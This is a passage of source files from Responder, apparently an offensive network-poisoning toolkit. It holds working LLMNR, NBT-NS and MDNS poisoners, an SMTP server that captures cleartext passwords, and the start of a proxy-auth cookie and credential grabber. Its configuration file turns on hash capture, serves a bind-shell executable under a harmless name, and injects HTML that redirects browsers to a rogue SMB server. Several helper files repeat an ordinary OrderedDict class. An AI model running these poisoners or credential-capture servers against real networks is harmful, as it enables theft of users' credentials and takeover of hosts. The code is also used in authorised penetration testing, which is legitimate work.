the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sys 18 | import os 19 | import datetime 20 | import struct 21 | import socket 22 | 23 | sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) 24 | from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq 25 | 26 | def GetBootTime(data): 27 | Filetime = int(struct.unpack('i", len(Packet)) + Packet 56 | s.send(Buffer) 57 | 58 | try: 59 | data = s.recv(1024) 60 | if data[4:5] == "\xff": 61 | print "This host doesn't support SMBv2" 62 | if data[4:5] == "\xfe": 63 | IsDCVuln(GetBootTime(data[116:124])) 64 | except Exception: 65 | s.close() 66 | raise 67 | 68 | if __name__ == "__main__": 69 | if len(sys.argv)<=1: 70 | sys.exit('Usage: python '+sys.argv[0]+' System-IP-address') 71 | host = sys.argv[1],445 72 | run(host) 73 | -------------------------------------------------------------------------------- /servers/SMTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from base64 import b64decode 19 | from SocketServer import BaseRequestHandler 20 | from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 21 | 22 | class ESMTP(BaseRequestHandler): 23 | 24 | def handle(self): 25 | try: 26 | self.request.send(str(SMTPGreeting())) 27 | data = self.request.recv(1024) 28 | 29 | if data[0:4] == "EHLO" or data[0:4] == "ehlo": 30 | self.request.send(str(SMTPAUTH())) 31 | data = self.request.recv(1024) 32 | 33 | if data[0:4] == "AUTH": 34 | AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data) 35 | if AuthPlain: 36 | User = filter(None, b64decode(AuthPlain[0]).split('\x00')) 37 | Username = User[0] 38 | Password = User[1] 39 | 40 | SaveToDb({ 41 | 'module': 'SMTP', 42 | 'type': 'Cleartext', 43 | 'client': self.client_address[0], 44 | 'user': Username, 45 | 'cleartext': Password, 46 | 'fullhash': Username+":"+Password, 47 | }) 48 | 49 | else: 50 | self.request.send(str(SMTPAUTH1())) 51 | data = self.request.recv(1024) 52 | 53 | if data: 54 | try: 55 | User = filter(None, b64decode(data).split('\x00')) 56 | Username = User[0] 57 | Password = User[1] 58 | except: 59 | Username = b64decode(data) 60 | 61 | self.request.send(str(SMTPAUTH2())) 62 | data = self.request.recv(1024) 63 | 64 | if data: 65 | try: Password = b64decode(data) 66 | except: Password = data 67 | 68 | SaveToDb({ 69 | 'module': 'SMTP', 70 | 'type': 'Cleartext', 71 | 'client': self.client_address[0], 72 | 'user': Username, 73 | 'cleartext': Password, 74 | 'fullhash': Username+":"+Password, 75 | }) 76 | 77 | except Exception: 78 | raise 79 | pass 80 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/types.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | regtypes = { 23 | '_CM_KEY_VALUE' : [ 0x18, { 24 | 'Signature' : [ 0x0, ['unsigned short']], 25 | 'NameLength' : [ 0x2, ['unsigned short']], 26 | 'DataLength' : [ 0x4, ['unsigned long']], 27 | 'Data' : [ 0x8, ['unsigned long']], 28 | 'Type' : [ 0xc, ['unsigned long']], 29 | 'Flags' : [ 0x10, ['unsigned short']], 30 | 'Spare' : [ 0x12, ['unsigned short']], 31 | 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], 32 | } ], 33 | '_CM_KEY_NODE' : [ 0x50, { 34 | 'Signature' : [ 0x0, ['unsigned short']], 35 | 'Flags' : [ 0x2, ['unsigned short']], 36 | 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], 37 | 'Spare' : [ 0xc, ['unsigned long']], 38 | 'Parent' : [ 0x10, ['unsigned long']], 39 | 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], 40 | 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], 41 | 'ValueList' : [ 0x24, ['_CHILD_LIST']], 42 | 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], 43 | 'Security' : [ 0x2c, ['unsigned long']], 44 | 'Class' : [ 0x30, ['unsigned long']], 45 | 'MaxNameLen' : [ 0x34, ['unsigned long']], 46 | 'MaxClassLen' : [ 0x38, ['unsigned long']], 47 | 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], 48 | 'MaxValueDataLen' : [ 0x40, ['unsigned long']], 49 | 'WorkVar' : [ 0x44, ['unsigned long']], 50 | 'NameLength' : [ 0x48, ['unsigned short']], 51 | 'ClassLength' : [ 0x4a, ['unsigned short']], 52 | 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], 53 | } ], 54 | '_CM_KEY_INDEX' : [ 0x8, { 55 | 'Signature' : [ 0x0, ['unsigned short']], 56 | 'Count' : [ 0x2, ['unsigned short']], 57 | 'List' : [ 0x4, ['array', 1, ['unsigned long']]], 58 | } ], 59 | '_CHILD_LIST' : [ 0x8, { 60 | 'Count' : [ 0x0, ['unsigned long']], 61 | 'List' : [ 0x4, ['unsigned long']], 62 | } ], 63 | } 64 | -------------------------------------------------------------------------------- /poisoners/MDNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | 19 | from SocketServer import BaseRequestHandler 20 | from packets import MDNS_Ans 21 | from utils import * 22 | 23 | def Parse_MDNS_Name(data): 24 | try: 25 | data = data[12:] 26 | NameLen = struct.unpack('>B',data[0])[0] 27 | Name = data[1:1+NameLen] 28 | NameLen_ = struct.unpack('>B',data[1+NameLen])[0] 29 | Name_ = data[1+NameLen:1+NameLen+NameLen_+1] 30 | return Name+'.'+Name_ 31 | except IndexError: 32 | return None 33 | 34 | 35 | def Poisoned_MDNS_Name(data): 36 | data = data[12:] 37 | return data[:len(data)-5] 38 | 39 | class MDNS(BaseRequestHandler): 40 | def handle(self): 41 | MADDR = "224.0.0.251" 42 | MPORT = 5353 43 | 44 | data, soc = self.request 45 | Request_Name = Parse_MDNS_Name(data) 46 | 47 | # Break out if we don't want to respond to this host 48 | if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): 49 | return None 50 | 51 | if settings.Config.AnalyzeMode: # Analyze Mode 52 | if Parse_IPV6_Addr(data): 53 | print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) 54 | SavePoisonersToDb({ 55 | 'Poisoner': 'MDNS', 56 | 'SentToIp': self.client_address[0], 57 | 'ForName': Request_Name, 58 | 'AnalyzeMode': '1', 59 | }) 60 | else: # Poisoning Mode 61 | if Parse_IPV6_Addr(data): 62 | 63 | Poisoned_Name = Poisoned_MDNS_Name(data) 64 | Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) 65 | Buffer.calculate() 66 | soc.sendto(str(Buffer), (MADDR, MPORT)) 67 | 68 | print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) 69 | SavePoisonersToDb({ 70 | 'Poisoner': 'MDNS', 71 | 'SentToIp': self.client_address[0], 72 | 'ForName': Request_Name, 73 | 'AnalyzeMode': '0', 74 | }) 75 | -------------------------------------------------------------------------------- /poisoners/NBTNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import fingerprint 18 | 19 | from packets import NBT_Ans 20 | from SocketServer import BaseRequestHandler 21 | from utils import * 22 | 23 | # Define what are we answering to. 24 | def Validate_NBT_NS(data): 25 | if settings.Config.AnalyzeMode: 26 | return False 27 | elif NBT_NS_Role(data[43:46]) == "File Server": 28 | return True 29 | elif settings.Config.NBTNSDomain: 30 | if NBT_NS_Role(data[43:46]) == "Domain Controller": 31 | return True 32 | elif settings.Config.Wredirect: 33 | if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": 34 | return True 35 | return False 36 | 37 | # NBT_NS Server class. 38 | class NBTNS(BaseRequestHandler): 39 | 40 | def handle(self): 41 | 42 | data, socket = self.request 43 | Name = Decode_Name(data[13:45]) 44 | 45 | # Break out if we don't want to respond to this host 46 | if RespondToThisHost(self.client_address[0], Name) is not True: 47 | return None 48 | 49 | if data[2:4] == "\x01\x10": 50 | Finger = None 51 | if settings.Config.Finger_On_Off: 52 | Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) 53 | 54 | if settings.Config.AnalyzeMode: # Analyze Mode 55 | LineHeader = "[Analyze mode: NBT-NS]" 56 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 57 | SavePoisonersToDb({ 58 | 'Poisoner': 'NBT-NS', 59 | 'SentToIp': self.client_address[0], 60 | 'ForName': Name, 61 | 'AnalyzeMode': '1', 62 | }) 63 | else: # Poisoning Mode 64 | Buffer = NBT_Ans() 65 | Buffer.calculate(data) 66 | socket.sendto(str(Buffer), self.client_address) 67 | LineHeader = "[*] [NBT-NS]" 68 | 69 | print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) 70 | 71 | SavePoisonersToDb({ 72 | 'Poisoner': 'NBT-NS', 73 | 'SentToIp': self.client_address[0], 74 | 'ForName': Name, 75 | 'AnalyzeMode': '0', 76 | }) 77 | 78 | if Finger is not None: 79 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 80 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 81 | -------------------------------------------------------------------------------- /tools/SMBFinger/odict.py: -------------------------------------------------------------------------------- 1 | from UserDict import DictMixin 2 | 3 | class OrderedDict(dict, DictMixin): 4 | 5 | def __init__(self, *args, **kwds): 6 | if len(args) > 1: 7 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 8 | try: 9 | self.__end 10 | except AttributeError: 11 | self.clear() 12 | self.update(*args, **kwds) 13 | 14 | def clear(self): 15 | self.__end = end = [] 16 | end += [None, end, end] 17 | self.__map = {} 18 | dict.clear(self) 19 | 20 | def __setitem__(self, key, value): 21 | if key not in self: 22 | end = self.__end 23 | curr = end[1] 24 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 25 | dict.__setitem__(self, key, value) 26 | 27 | def __delitem__(self, key): 28 | dict.__delitem__(self, key) 29 | key, prev, next = self.__map.pop(key) 30 | prev[2] = next 31 | next[1] = prev 32 | 33 | def __iter__(self): 34 | end = self.__end 35 | curr = end[2] 36 | while curr is not end: 37 | yield curr[0] 38 | curr = curr[2] 39 | 40 | def __reversed__(self): 41 | end = self.__end 42 | curr = end[1] 43 | while curr is not end: 44 | yield curr[0] 45 | curr = curr[1] 46 | 47 | def popitem(self, last=True): 48 | if not self: 49 | raise KeyError('dictionary is empty') 50 | if last: 51 | key = reversed(self).next() 52 | else: 53 | key = iter(self).next() 54 | value = self.pop(key) 55 | return key, value 56 | 57 | def __reduce__(self): 58 | items = [[k, self[k]] for k in self] 59 | tmp = self.__map, self.__end 60 | del self.__map, self.__end 61 | inst_dict = vars(self).copy() 62 | self.__map, self.__end = tmp 63 | if inst_dict: 64 | return (self.__class__, (items,), inst_dict) 65 | return self.__class__, (items,) 66 | 67 | def keys(self): 68 | return list(self) 69 | 70 | setdefault = DictMixin.setdefault 71 | update = DictMixin.update 72 | pop = DictMixin.pop 73 | values = DictMixin.values 74 | items = DictMixin.items 75 | iterkeys = DictMixin.iterkeys 76 | itervalues = DictMixin.itervalues 77 | iteritems = DictMixin.iteritems 78 | 79 | def __repr__(self): 80 | if not self: 81 | return '%s()' % (self.__class__.__name__,) 82 | return '%s(%r)' % (self.__class__.__name__, self.items()) 83 | 84 | def copy(self): 85 | return self.__class__(self) 86 | 87 | @classmethod 88 | def fromkeys(cls, iterable, value=None): 89 | d = cls() 90 | for key in iterable: 91 | d[key] = value 92 | return d 93 | 94 | def __eq__(self, other): 95 | if isinstance(other, OrderedDict): 96 | return len(self)==len(other) and \ 97 | min(p==q for p, q in zip(self.items(), other.items())) 98 | return dict.__eq__(self, other) 99 | 100 | def __ne__(self, other): 101 | return not self == other 102 | 103 | 104 | if __name__ == '__main__': 105 | d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) 106 | assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] 107 | -------------------------------------------------------------------------------- /Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | Kerberos = On 7 | FTP = On 8 | POP = On 9 | SMTP = On 10 | IMAP = On 11 | HTTP = On 12 | HTTPS = On 13 | DNS = On 14 | LDAP = On 15 | 16 | ; Custom challenge. 17 | ; Use "Random" for generating a random challenge for each requests (Default) 18 | Challenge = Random 19 | 20 | ; SQLite Database file 21 | ; Delete this file to re-capture previously captured hashes 22 | Database = Responder.db 23 | 24 | ; Default log file 25 | SessionLog = Responder-Session.log 26 | 27 | ; Poisoners log 28 | PoisonersLog = Poisoners-Session.log 29 | 30 | ; Analyze mode log 31 | AnalyzeLog = Analyzer-Session.log 32 | 33 | ; Dump Responder Config log: 34 | ResponderConfigDump = Config-Responder.log 35 | 36 | ; Specific IP Addresses to respond to (default = All) 37 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 38 | RespondTo = 39 | 40 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 41 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 42 | RespondToName = 43 | 44 | ; Specific IP Addresses not to respond to (default = None) 45 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 46 | DontRespondTo = 47 | 48 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 49 | ; Example: DontRespondTo = NAC, IPS, IDS 50 | DontRespondToName = ISATAP 51 | 52 | ; If set to On, we will stop answering further requests from a host 53 | ; if a hash has been previously captured for this host. 54 | AutoIgnoreAfterSuccess = Off 55 | 56 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 57 | ; to authenticate for the first time to try to get different credentials. 58 | ; This may break file serving and is useful only for hash capture 59 | CaptureMultipleCredentials = On 60 | 61 | ; If set to On, we will write to file all hashes captured from the same host. 62 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 63 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 64 | CaptureMultipleHashFromSameHost = On 65 | 66 | [HTTP Server] 67 | 68 | ; Set to On to always serve the custom EXE 69 | Serve-Always = Off 70 | 71 | ; Set to On to replace any requested .exe with the custom EXE 72 | Serve-Exe = Off 73 | 74 | ; Set to On to serve the custom HTML if the URL does not contain .exe 75 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 76 | Serve-Html = Off 77 | 78 | ; Custom HTML to serve 79 | HtmlFilename = files/AccessDenied.html 80 | 81 | ; Custom EXE File to serve 82 | ExeFilename = files/BindShell.exe 83 | 84 | ; Name of the downloaded .exe that the client will see 85 | ExeDownloadName = ProxyClient.exe 86 | 87 | ; Custom WPAD Script 88 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';} 89 | 90 | ; HTML answer to inject in HTTP responses (before tag). 91 | ; Set to an empty string to disable. 92 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. 93 | HTMLToInject = Loading 94 | 95 | [HTTPS Server] 96 | 97 | ; Configure SSL Certificates to use 98 | SSLCert = certs/responder.crt 99 | SSLKey = certs/responder.key 100 | -------------------------------------------------------------------------------- /poisoners/LLMNR.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | import fingerprint 19 | 20 | from packets import LLMNR_Ans 21 | from SocketServer import BaseRequestHandler 22 | from utils import * 23 | 24 | 25 | def Parse_LLMNR_Name(data): 26 | NameLen = struct.unpack('>B',data[12])[0] 27 | return data[13:13+NameLen] 28 | 29 | 30 | def IsICMPRedirectPlausible(IP): 31 | dnsip = [] 32 | for line in file('/etc/resolv.conf', 'r'): 33 | ip = line.split() 34 | if len(ip) < 2: 35 | continue 36 | elif ip[0] == 'nameserver': 37 | dnsip.extend(ip[1:]) 38 | for x in dnsip: 39 | if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: 40 | print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) 41 | print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) 42 | print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) 43 | 44 | if settings.Config.AnalyzeMode: 45 | IsICMPRedirectPlausible(settings.Config.Bind_To) 46 | 47 | 48 | class LLMNR(BaseRequestHandler): # LLMNR Server class 49 | def handle(self): 50 | data, soc = self.request 51 | Name = Parse_LLMNR_Name(data) 52 | 53 | # Break out if we don't want to respond to this host 54 | if RespondToThisHost(self.client_address[0], Name) is not True: 55 | return None 56 | 57 | if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): 58 | Finger = None 59 | if settings.Config.Finger_On_Off: 60 | Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) 61 | 62 | if settings.Config.AnalyzeMode: 63 | LineHeader = "[Analyze mode: LLMNR]" 64 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 65 | SavePoisonersToDb({ 66 | 'Poisoner': 'LLMNR', 67 | 'SentToIp': self.client_address[0], 68 | 'ForName': Name, 69 | 'AnalyzeMode': '1', 70 | }) 71 | else: # Poisoning Mode 72 | Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) 73 | Buffer.calculate() 74 | soc.sendto(str(Buffer), self.client_address) 75 | LineHeader = "[*] [LLMNR]" 76 | print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) 77 | SavePoisonersToDb({ 78 | 'Poisoner': 'LLMNR', 79 | 'SentToIp': self.client_address[0], 80 | 'ForName': Name, 81 | 'AnalyzeMode': '0', 82 | }) 83 | if Finger is not None: 84 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 85 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 86 | -------------------------------------------------------------------------------- /odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /tools/odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /servers/Proxy_Auth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import SocketServer 18 | from HTTP import ParseHTTPHash 19 | from packets import * 20 | from utils import * 21 | 22 | def GrabUserAgent(data): 23 | UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) 24 | if UserAgent: 25 | print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) 26 | 27 | def GrabCookie(data): 28 | Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) 29 | 30 | if Cookie: 31 | Cookie = Cookie.group(0).replace('Cookie: ', '') 32 | if len(Cookie) > 1: 33 | if settings.Config.Verbose: 34 | print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) 35 | 36 | return Cookie 37 | return False 38 | 39 | def GrabHost(data): 40 | Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) 41 | 42 | if Host: 43 | Host = Host.group(0).replace('Host: ', '') 44 | if settings.Config.Verbose: 45 | print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) 46 | 47 | return Host 48 | return False 49 | 50 | def PacketSequence(data, client, Challenge): 51 | NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) 52 | Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', 